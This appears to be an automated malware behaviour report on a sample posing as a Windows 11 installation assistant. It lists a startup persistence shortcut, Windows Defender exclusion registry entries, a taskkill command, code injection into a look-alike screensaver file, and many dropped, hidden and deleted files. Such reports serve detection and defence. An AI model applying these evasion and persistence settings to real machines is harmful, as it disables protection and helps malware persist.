Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\windows11installationassistant.lnk
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\soFtwAre\MICrosOFt\wiNdoWS defender\eXcLuSIons\eXtensIOnS] 'dLl' = '00000000'
- [<HKLM>\SoftwAre\mIcroSofT\wINdowS deFeNder\exclusioNS\extenSIoNS] 'sCr' = '00000000'
- [<HKLM>\SOfTware\MiCrosofT\wIndOws defender\eXclusiONS\eXTeNsionS] 'CMd' = '00000000'
- [<HKLM>\sOFTWare\micrOsoFt\wINdoWS deFender\exCLusIONs\pAthS] '<DRIVERS>\etc\hOSTS' = '00000000'
- [<HKLM>\SoFtwAre\MIcrosoft\WindoWs deFeNder\eXclUsiONS\eXteNSIOnS] 'exe' = '00000000'
Executes the following
- '%WINDIR%\syswow64\taskkill.exe' /f /im "Windows11InstaIIation.scr"
Injects code into
the following user processes:
- windows11instaiiation.scr
Modifies file system
Creates the following files
- %TEMP%\is-8glpb.tmp\<File name>.tmp
- %APPDATA%\windows11installationassistant\images\is-9d5mq.tmp
- %APPDATA%\windows11installationassistant\images\is-peii9.tmp
- %APPDATA%\windows11installationassistant\images\is-egn4s.tmp
- %APPDATA%\windows11installationassistant\images\is-hkbg4.tmp
- %APPDATA%\windows11installationassistant\images\is-hpcfk.tmp
- C:\tmp\.cmd
- C:\tmp\.vbs
- %TEMP%\is-tghrs.tmp\temp\.cmd
- %TEMP%\autc918.tmp
- %APPDATA%\windows11installationassistant\images\is-3bp4f.tmp
- %APPDATA%\windows11installationassistant\images\is-8fsiv.tmp
- %TEMP%\2h6k3t6o.tmp
- %WINDIR%\temp\autd4bc.tmp
- %WINDIR%\temp\8sgc7p0y.tmp
- %WINDIR%\temp\autd4fb.tmp
- %WINDIR%\temp\autd51b.tmp
- %TEMP%\autd548.tmp
- %TEMP%\2c5p5y6g.tmp
- %TEMP%\autd588.tmp
- %TEMP%\autd663.tmp
- %WINDIR%\temp\aute38b.tmp
- %TEMP%\autc948.tmp
- %TEMP%\autc968.tmp
- %APPDATA%\windows11installationassistant\images\is-ocqbj.tmp
- %APPDATA%\windows11installationassistant\images\is-4d663.tmp
- %APPDATA%\windows11installationassistant\images\is-9k5dr.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-dji9m.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-sp9gs.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-349v2.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-1lhpa.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-19ssp.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-aegfb.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-096id.tmp
- %APPDATA%\windows11installationassistant\images\is-kf20t.tmp
- %APPDATA%\windows11installationassistant\images\is-slk5o.tmp
- %APPDATA%\windows11installationassistant\images\is-v93b8.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-icmpa.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-1st8v.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-09d0c.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-aq2fc.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-cn7oj.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-l0btr.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-d1pcd.tmp
- %APPDATA%\windows11installationassistant\images\is-v7vqe.tmp
- %APPDATA%\windows11installationassistant\is-ofnqu.tmp
- %APPDATA%\windows11installationassistant\images\is-44f0m.tmp
- %APPDATA%\windows11installationassistant\images\is-nt6di.tmp
- %APPDATA%\windows11installationassistant\images\is-i6kv7.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-f6d8r.tmp
- %WINDIR%\temp\2i7g1t6z.tmp
- %WINDIR%\temp\aute39b.tmp
- %WINDIR%\temp\aute3cb.tmp
- %WINDIR%\temp\aute427.tmp
- %WINDIR%\temp\auteaf.tmp
- %WINDIR%\temp\1e3d4n4c.tmp
- %WINDIR%\temp\autedf.tmp
- %WINDIR%\temp\auteff.tmp
- %WINDIR%\temp\aut17c4.tmp
- %WINDIR%\temp\2x9l8d4c.tmp
- %WINDIR%\temp\aut17e4.tmp
- %WINDIR%\temp\aut1862.tmp
- %APPDATA%\windows11installationassistant\.cmd
- %APPDATA%\windows11installationassistant\.vbs
- %WINDIR%\temp\aut20d8.tmp
- %WINDIR%\temp\3e0f2j4o.tmp
- %WINDIR%\temp\aut20e9.tmp
- %WINDIR%\temp\aut2109.tmp
- %WINDIR%\temp\aut2683.tmp
- %WINDIR%\temp\2g5z3y6h.tmp
- %WINDIR%\temp\aut2694.tmp
- %WINDIR%\temp\aut26a4.tmp
- %LOCALAPPDATA%\orange group\windows 11 compatibility checker\windowscritical.png
- %LOCALAPPDATA%\orange group\windows 11 compatibility checker\windowswarning.png
- %LOCALAPPDATA%\orange group\windows 11 compatibility checker\windowssuccess.png
- %LOCALAPPDATA%\orange group\windows 11 compatibility checker\windowshelp.png
- %LOCALAPPDATA%\orange group\windows 11 compatibility checker\pfp.png
- %WINDIR%\temp\auteb1.tmp
- %WINDIR%\temp\2e2d6n8c.tmp
- %WINDIR%\temp\aute82.tmp
- %WINDIR%\temp\autdd5.tmp
- %WINDIR%\temp\1i9g6t8z.tmp
- %WINDIR%\temp\aute447.tmp
- %WINDIR%\temp\aute457.tmp
- %TEMP%\aute501.tmp
- %TEMP%\1i6g9t2z.tmp
- %TEMP%\aute521.tmp
- %TEMP%\aute532.tmp
- %WINDIR%\temp\autf546.tmp
- %WINDIR%\temp\2f9m0e4j.tmp
- %WINDIR%\temp\autf557.tmp
- %WINDIR%\temp\autf5e4.tmp
- %TEMP%\autf8ee.tmp
- %TEMP%\2a1o8v0t.tmp
- %TEMP%\autf8ff.tmp
- %TEMP%\autf94e.tmp
- %WINDIR%\temp\autf99a.tmp
- %WINDIR%\temp\2a4o8v0t.tmp
- %WINDIR%\temp\autf9aa.tmp
- %WINDIR%\temp\autf9cb.tmp
- %TEMP%\autd87.tmp
- %TEMP%\1d5j6h8m.tmp
- %TEMP%\autda7.tmp
- %TEMP%\autdc7.tmp
- %LOCALAPPDATA%\orange group\windows 11 compatibility checker\windows 11.png
- %APPDATA%\windows11installationassistant\images\is-90nt9.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-h39p4.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-8quko.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-34sds.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-9jlpo.tmp
- %APPDATA%\windows11installationassistant\is-mf7ff.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-6j5v9.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-3l4ul.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-du8cl.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-c1c8v.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-4r55q.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-l652a.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-s8ccf.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-pinpb.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-03te0.tmp
- %APPDATA%\windows11installationassistant\images\is-mj74k.tmp
- %APPDATA%\windows11installationassistant\images\is-ch0oi.tmp
- %APPDATA%\windows11installationassistant\images\is-vr9ah.tmp
- %APPDATA%\windows11installationassistant\images\is-nf6bk.tmp
- %TEMP%\is-tghrs.tmp\temp\is-e4qlb.tmp
- %APPDATA%\windows11installationassistant\images\is-dnnr3.tmp
- %APPDATA%\windows11installationassistant\images\is-jl823.tmp
- %APPDATA%\windows11installationassistant\images\is-5lood.tmp
- %APPDATA%\windows11installationassistant\images\is-cki85.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-uvrqo.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-t9ilm.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-hmtei.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-ec887.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-hqhv7.tmp
- %TEMP%\is-e4lp0.tmp\_isetup\_shfoldr.dll
- %TEMP%\is-817h1.tmp\<File name>.tmp
- %TEMP%\is-tghrs.tmp\_isetup\_setup64.tmp
- %TEMP%\is-tghrs.tmp\_isetup\_shfoldr.dll
- %TEMP%\is-tghrs.tmp\is-97nls.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-ca2a0.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-9o39v.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-udbi2.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-sjd3p.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-rdmal.tmp
- %TEMP%\is-e4lp0.tmp\_isetup\_setup64.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-gjjk9.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-d183m.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-ikkl3.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-g9vve.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-0lvjc.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-a08o9.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-e4ln1.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-ntqg5.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-9ie9v.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-1g4oa.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-cau28.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-ccq8l.tmp
- %APPDATA%\windows11installationassistant\images\is-q3no9.tmp
- %APPDATA%\windows11installationassistant\images\is-e2pf5.tmp
- %APPDATA%\windows11installationassistant\images\is-lc90o.tmp
- %APPDATA%\windows11installationassistant\images\is-5a1kt.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-2pilv.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-k0bla.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-grlo9.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-qhi6b.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-78q8r.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-eic2k.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-41s5o.tmp
- %APPDATA%\windows11installationassistant\images\is-1o80k.tmp
- %APPDATA%\windows11installationassistant\images\is-c7jvb.tmp
- %APPDATA%\windows11installationassistant\images\is-ribi3.tmp
- %APPDATA%\windows11installationassistant\images\is-nuke7.tmp
- %APPDATA%\windows11installationassistant\images\is-9j7i0.tmp
- %APPDATA%\windows11installationassistant\images\is-6dgp7.tmp
- %APPDATA%\windows11installationassistant\images\is-fdn2i.tmp
- %APPDATA%\windows11installationassistant\images\is-abnbf.tmp
- %APPDATA%\windows11installationassistant\images\is-ll4r7.tmp
- %APPDATA%\windows11installationassistant\images\is-8gcq8.tmp
- %APPDATA%\windows11installationassistant\images\is-3dj6n.tmp
- %APPDATA%\windows11installationassistant\images\is-t1jr7.tmp
- %APPDATA%\windows11installationassistant\images\is-ne2h0.tmp
- %APPDATA%\windows11installationassistant\images\is-ddda6.tmp
- %APPDATA%\windows11installationassistant\images\is-73i5a.tmp
- %APPDATA%\windows11installationassistant\images\is-2msv8.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-n1qmb.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-4quvf.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-p2gg3.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-sgpb0.tmp
- %APPDATA%\windows11installationassistant\images\is-par6v.tmp
- %APPDATA%\windows11installationassistant\images\is-ivr3g.tmp
- %APPDATA%\windows11installationassistant\images\is-582td.tmp
- %APPDATA%\windows11installationassistant\images\is-20rn9.tmp
- %APPDATA%\windows11installationassistant\images\is-7aohr.tmp
- %APPDATA%\windows11installationassistant\images\is-r3kkr.tmp
- %APPDATA%\windows11installationassistant\images\is-ab4r5.tmp
- C:\tmp\is-37gf1.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-i3nnl.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-v65sv.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-lv5qo.tmp
- %APPDATA%\windows11installationassistant\icons\new blue\is-37avu.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-808b6.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-l6kpj.tmp
- C:\tmp\is-llrgt.tmp
- %APPDATA%\windows11installationassistant\images\is-s5fho.tmp
- %APPDATA%\windows11installationassistant\images\is-jpnj5.tmp
- %APPDATA%\windows11installationassistant\images\is-j2rcg.tmp
- %APPDATA%\windows11installationassistant\images\is-eu06d.tmp
- %APPDATA%\windows11installationassistant\images\is-ocpg6.tmp
- %APPDATA%\windows11installationassistant\images\is-ca6ab.tmp
- %APPDATA%\windows11installationassistant\images\is-iflrd.tmp
- %APPDATA%\windows11installationassistant\icons\classic\is-vtonv.tmp
- %APPDATA%\windows11installationassistant\images\is-t8ns4.tmp
- %LOCALAPPDATA%\orange group\windows 11 compatibility checker\cpus.txt
Sets the 'hidden' attribute to the following files
- %APPDATA%\windows11installationassistant\ar.xml
- %TEMP%\is-tghrs.tmp\temp\r.exe
- C:\tmp\ico1.ico
- C:\tmp\pbd.dll
- %APPDATA%\windows11installationassistant\windows11instaiiation.scr
- %APPDATA%\windows11installationassistant\.cmd
- %APPDATA%\windows11installationassistant\.vbs
Deletes the following files
- %TEMP%\is-e4lp0.tmp\_isetup\_setup64.tmp
- %WINDIR%\temp\aut17e4.tmp
- %WINDIR%\temp\aut17c4.tmp
- %WINDIR%\temp\1e3d4n4c.tmp
- %WINDIR%\temp\auteff.tmp
- %WINDIR%\temp\autedf.tmp
- %WINDIR%\temp\auteaf.tmp
- %WINDIR%\temp\autf9cb.tmp
- %WINDIR%\temp\2e2d6n8c.tmp
- %WINDIR%\temp\aute82.tmp
- %WINDIR%\temp\autdd5.tmp
- %TEMP%\1d5j6h8m.tmp
- %TEMP%\autdc7.tmp
- %TEMP%\autda7.tmp
- %TEMP%\autd87.tmp
- %WINDIR%\temp\auteb1.tmp
- %WINDIR%\temp\2a4o8v0t.tmp
- %WINDIR%\temp\aut1862.tmp
- %WINDIR%\temp\aut26a4.tmp
- %TEMP%\is-tghrs.tmp\_isetup\_setup64.tmp
- %TEMP%\is-tghrs.tmp\temp\r.exe
- C:\tmp\pbd.dll
- C:\tmp\ico1.ico
- %APPDATA%\windows11installationassistant\ar.xml
- %TEMP%\is-tghrs.tmp\windows.11.compatibility.checker.exe
- %TEMP%\is-tghrs.tmp\temp\.cmd
- %WINDIR%\temp\2x9l8d4c.tmp
- %WINDIR%\temp\aut2694.tmp
- %WINDIR%\temp\aut2683.tmp
- %WINDIR%\temp\3e0f2j4o.tmp
- %WINDIR%\temp\aut2109.tmp
- %WINDIR%\temp\aut20e9.tmp
- %WINDIR%\temp\aut20d8.tmp
- %WINDIR%\temp\2g5z3y6h.tmp
- %WINDIR%\temp\autf9aa.tmp
- %WINDIR%\temp\autf99a.tmp
- %TEMP%\2a1o8v0t.tmp
- %TEMP%\autd663.tmp
- %TEMP%\autd588.tmp
- %TEMP%\autd548.tmp
- %WINDIR%\temp\8sgc7p0y.tmp
- %WINDIR%\temp\autd51b.tmp
- %WINDIR%\temp\aute38b.tmp
- %WINDIR%\temp\autd4fb.tmp
- %TEMP%\2h6k3t6o.tmp
- %TEMP%\autc968.tmp
- %TEMP%\autc948.tmp
- %TEMP%\autc918.tmp
- %TEMP%\is-8glpb.tmp\<File name>.tmp
- %TEMP%\is-e4lp0.tmp\_isetup\_shfoldr.dll
- %WINDIR%\temp\autd4bc.tmp
- %WINDIR%\temp\aute39b.tmp
- %TEMP%\2c5p5y6g.tmp
- %WINDIR%\temp\aute3cb.tmp
- %TEMP%\autf94e.tmp
- %TEMP%\1i6g9t2z.tmp
- %TEMP%\autf8ff.tmp
- %TEMP%\autf8ee.tmp
- %WINDIR%\temp\2f9m0e4j.tmp
- %WINDIR%\temp\autf5e4.tmp
- %WINDIR%\temp\autf557.tmp
- %WINDIR%\temp\autf546.tmp
- %TEMP%\aute532.tmp
- %WINDIR%\temp\2i7g1t6z.tmp
- %TEMP%\aute521.tmp
- %TEMP%\aute501.tmp
- %WINDIR%\temp\1i9g6t8z.tmp
- %WINDIR%\temp\aute457.tmp
- %WINDIR%\temp\aute447.tmp
- %WINDIR%\temp\aute427.tmp
- %TEMP%\is-tghrs.tmp\_isetup\_shfoldr.dll
- %TEMP%\is-817h1.tmp\<File name>.tmp
Moves the following files
- from %TEMP%\is-tghrs.tmp\is-97nls.tmp to %TEMP%\is-tghrs.tmp\windows.11.compatibility.checker.exe
- from %APPDATA%\windows11installationassistant\images\is-t8ns4.tmp to %APPDATA%\windows11installationassistant\images\menuicon@350.png
- from %APPDATA%\windows11installationassistant\images\is-2msv8.tmp to %APPDATA%\windows11installationassistant\images\menuicon@325.png
- from %APPDATA%\windows11installationassistant\images\is-73i5a.tmp to %APPDATA%\windows11installationassistant\images\menuicon@300.png
- from %APPDATA%\windows11installationassistant\images\is-ddda6.tmp to %APPDATA%\windows11installationassistant\images\menuicon@275.png
- from %APPDATA%\windows11installationassistant\images\is-ne2h0.tmp to %APPDATA%\windows11installationassistant\images\menuicon@250.png
- from %APPDATA%\windows11installationassistant\images\is-t1jr7.tmp to %APPDATA%\windows11installationassistant\images\menuicon@225.png
- from %APPDATA%\windows11installationassistant\images\is-3dj6n.tmp to %APPDATA%\windows11installationassistant\images\menuicon@200.png
- from %APPDATA%\windows11installationassistant\images\is-8gcq8.tmp to %APPDATA%\windows11installationassistant\images\menuicon@175.png
- from %APPDATA%\windows11installationassistant\images\is-ll4r7.tmp to %APPDATA%\windows11installationassistant\images\menuicon@150.png
- from %APPDATA%\windows11installationassistant\images\is-abnbf.tmp to %APPDATA%\windows11installationassistant\images\menuicon@125.png
- from %APPDATA%\windows11installationassistant\images\is-fdn2i.tmp to %APPDATA%\windows11installationassistant\images\menuicon@100.png
- from %APPDATA%\windows11installationassistant\images\is-6dgp7.tmp to %APPDATA%\windows11installationassistant\images\foldericon@75-.png
- from %APPDATA%\windows11installationassistant\images\is-9j7i0.tmp to %APPDATA%\windows11installationassistant\images\foldericon@350.png
- from %APPDATA%\windows11installationassistant\images\is-nuke7.tmp to %APPDATA%\windows11installationassistant\images\foldericon@325.png
- from %APPDATA%\windows11installationassistant\icons\classic\is-8quko.tmp to %APPDATA%\windows11installationassistant\icons\classic\d16.ico
- from %APPDATA%\windows11installationassistant\images\is-ribi3.tmp to %APPDATA%\windows11installationassistant\images\foldericon@300.png
- from %APPDATA%\windows11installationassistant\images\is-1o80k.tmp to %APPDATA%\windows11installationassistant\images\fencessmall@200.png
- from %APPDATA%\windows11installationassistant\icons\classic\is-41s5o.tmp to %APPDATA%\windows11installationassistant\icons\classic\d20.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-eic2k.tmp to %APPDATA%\windows11installationassistant\icons\classic\d2.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-78q8r.tmp to %APPDATA%\windows11installationassistant\icons\classic\d1a.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-qhi6b.tmp to %APPDATA%\windows11installationassistant\icons\classic\d19a.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-grlo9.tmp to %APPDATA%\windows11installationassistant\icons\classic\d5a.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-k0bla.tmp to %APPDATA%\windows11installationassistant\icons\classic\d5.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-2pilv.tmp to %APPDATA%\windows11installationassistant\icons\classic\prev.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-n1qmb.tmp to %APPDATA%\windows11installationassistant\icons\classic\next.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-p2gg3.tmp to %APPDATA%\windows11installationassistant\icons\classic\d9a.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-4quvf.tmp to %APPDATA%\windows11installationassistant\icons\classic\d9.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-sgpb0.tmp to %APPDATA%\windows11installationassistant\icons\classic\d8a.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-vtonv.tmp to %APPDATA%\windows11installationassistant\icons\classic\d8.ico
- from %APPDATA%\windows11installationassistant\images\is-iflrd.tmp to %APPDATA%\windows11installationassistant\images\fencessmall@150.png
- from %APPDATA%\windows11installationassistant\images\is-c7jvb.tmp to %APPDATA%\windows11installationassistant\images\foldericon@100.png
- from %APPDATA%\windows11installationassistant\icons\classic\is-cn7oj.tmp to %APPDATA%\windows11installationassistant\icons\classic\d4.ico
- from %APPDATA%\windows11installationassistant\images\is-hkbg4.tmp to %APPDATA%\windows11installationassistant\images\pagerbullets.png
- from %APPDATA%\windows11installationassistant\icons\classic\is-icmpa.tmp to %APPDATA%\windows11installationassistant\icons\classic\d15.ico
- from %APPDATA%\windows11installationassistant\images\is-egn4s.tmp to %APPDATA%\windows11installationassistant\images\pagerbullet@100.png
- from %APPDATA%\windows11installationassistant\images\is-peii9.tmp to %APPDATA%\windows11installationassistant\images\pagerbullet.png
- from %APPDATA%\windows11installationassistant\images\is-9d5mq.tmp to %APPDATA%\windows11installationassistant\images\pagerbackr@100.png
- from %APPDATA%\windows11installationassistant\images\is-8fsiv.tmp to %APPDATA%\windows11installationassistant\images\pagerbackc.png
- from %APPDATA%\windows11installationassistant\images\is-3bp4f.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@350.png
- from %APPDATA%\windows11installationassistant\images\is-ocqbj.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@325.png
- from %APPDATA%\windows11installationassistant\images\is-4d663.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@300.png
- from %APPDATA%\windows11installationassistant\images\is-9k5dr.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@275.png
- from %APPDATA%\windows11installationassistant\images\is-i6kv7.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@250.png
- from %APPDATA%\windows11installationassistant\images\is-nt6di.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@225.png
- from %APPDATA%\windows11installationassistant\images\is-44f0m.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@200.png
- from %APPDATA%\windows11installationassistant\is-ofnqu.tmp to %APPDATA%\windows11installationassistant\windows11instaiiation.scr
- from %APPDATA%\windows11installationassistant\images\is-v7vqe.tmp to %APPDATA%\windows11installationassistant\images\fencessmall@175.png
- from %APPDATA%\windows11installationassistant\icons\new blue\is-d1pcd.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d13.ico
- from %APPDATA%\windows11installationassistant\images\is-ca6ab.tmp to %APPDATA%\windows11installationassistant\images\fencessmall@125.png
- from %APPDATA%\windows11installationassistant\icons\classic\is-l0btr.tmp to %APPDATA%\windows11installationassistant\icons\classic\d4a.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-aq2fc.tmp to %APPDATA%\windows11installationassistant\icons\classic\d3a.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-09d0c.tmp to %APPDATA%\windows11installationassistant\icons\classic\d3.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-f6d8r.tmp to %APPDATA%\windows11installationassistant\icons\classic\d2a.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-1st8v.tmp to %APPDATA%\windows11installationassistant\icons\classic\d20a.ico
- from %APPDATA%\windows11installationassistant\images\is-v93b8.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@175.png
- from %APPDATA%\windows11installationassistant\images\is-slk5o.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@150.png
- from %APPDATA%\windows11installationassistant\images\is-kf20t.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@125.png
- from %APPDATA%\windows11installationassistant\icons\new blue\is-096id.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d19a.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-aegfb.tmp to %APPDATA%\windows11installationassistant\icons\classic\d19.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-19ssp.tmp to %APPDATA%\windows11installationassistant\icons\classic\d18a.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-1lhpa.tmp to %APPDATA%\windows11installationassistant\icons\classic\d18.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-349v2.tmp to %APPDATA%\windows11installationassistant\icons\classic\d17a.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-sp9gs.tmp to %APPDATA%\windows11installationassistant\icons\classic\d17.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-dji9m.tmp to %APPDATA%\windows11installationassistant\icons\classic\d15a.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-h39p4.tmp to %APPDATA%\windows11installationassistant\icons\classic\d16a.ico
- from %APPDATA%\windows11installationassistant\images\is-90nt9.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@100.png
- from %APPDATA%\windows11installationassistant\images\is-ocpg6.tmp to %APPDATA%\windows11installationassistant\images\fencessmall@100.png
- from %APPDATA%\windows11installationassistant\icons\new blue\is-uvrqo.tmp to %APPDATA%\windows11installationassistant\icons\new blue\next.ico
- from %APPDATA%\windows11installationassistant\icons\new blue\is-4r55q.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d8a.ico
- from %APPDATA%\windows11installationassistant\icons\new blue\is-c1c8v.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d8.ico
- from %APPDATA%\windows11installationassistant\icons\new blue\is-du8cl.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d7a.ico
- from %APPDATA%\windows11installationassistant\icons\new blue\is-3l4ul.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d7.ico
- from %APPDATA%\windows11installationassistant\icons\new blue\is-6j5v9.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d6a.ico
- from %APPDATA%\windows11installationassistant\is-mf7ff.tmp to %APPDATA%\windows11installationassistant\ar.xml
- from %APPDATA%\windows11installationassistant\icons\new blue\is-9jlpo.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d6.ico
- from %APPDATA%\windows11installationassistant\icons\new blue\is-34sds.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d18a.ico
- from %APPDATA%\windows11installationassistant\icons\new blue\is-pinpb.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d18.ico
- from %APPDATA%\windows11installationassistant\icons\new blue\is-s8ccf.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d17a.ico
- from %APPDATA%\windows11installationassistant\icons\new blue\is-hmtei.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d17.ico
- from %APPDATA%\windows11installationassistant\icons\new blue\is-ec887.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d16a.ico
- from %APPDATA%\windows11installationassistant\icons\new blue\is-hqhv7.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d16.ico
- from %APPDATA%\windows11installationassistant\icons\new blue\is-cau28.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d19.ico
- from %APPDATA%\windows11installationassistant\icons\new blue\is-l652a.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d9.ico
- from %APPDATA%\windows11installationassistant\icons\new blue\is-1g4oa.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d15a.ico
- from %APPDATA%\windows11installationassistant\icons\new blue\is-ntqg5.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d14a.ico
- from %APPDATA%\windows11installationassistant\icons\new blue\is-e4ln1.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d14.ico
- from %APPDATA%\windows11installationassistant\icons\new blue\is-a08o9.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d13a.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-0lvjc.tmp to %APPDATA%\windows11installationassistant\icons\classic\d14a.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-g9vve.tmp to %APPDATA%\windows11installationassistant\icons\classic\d14.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-ikkl3.tmp to %APPDATA%\windows11installationassistant\icons\classic\d13a.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-d183m.tmp to %APPDATA%\windows11installationassistant\icons\classic\d13.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-ccq8l.tmp to %APPDATA%\windows11installationassistant\icons\classic\d12a.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-gjjk9.tmp to %APPDATA%\windows11installationassistant\icons\classic\d12.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-rdmal.tmp to %APPDATA%\windows11installationassistant\icons\classic\d11a.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-sjd3p.tmp to %APPDATA%\windows11installationassistant\icons\classic\d11.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-udbi2.tmp to %APPDATA%\windows11installationassistant\icons\classic\d10a.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-9o39v.tmp to %APPDATA%\windows11installationassistant\icons\classic\d10.ico
- from %APPDATA%\windows11installationassistant\icons\classic\is-ca2a0.tmp to %APPDATA%\windows11installationassistant\icons\classic\d1.ico
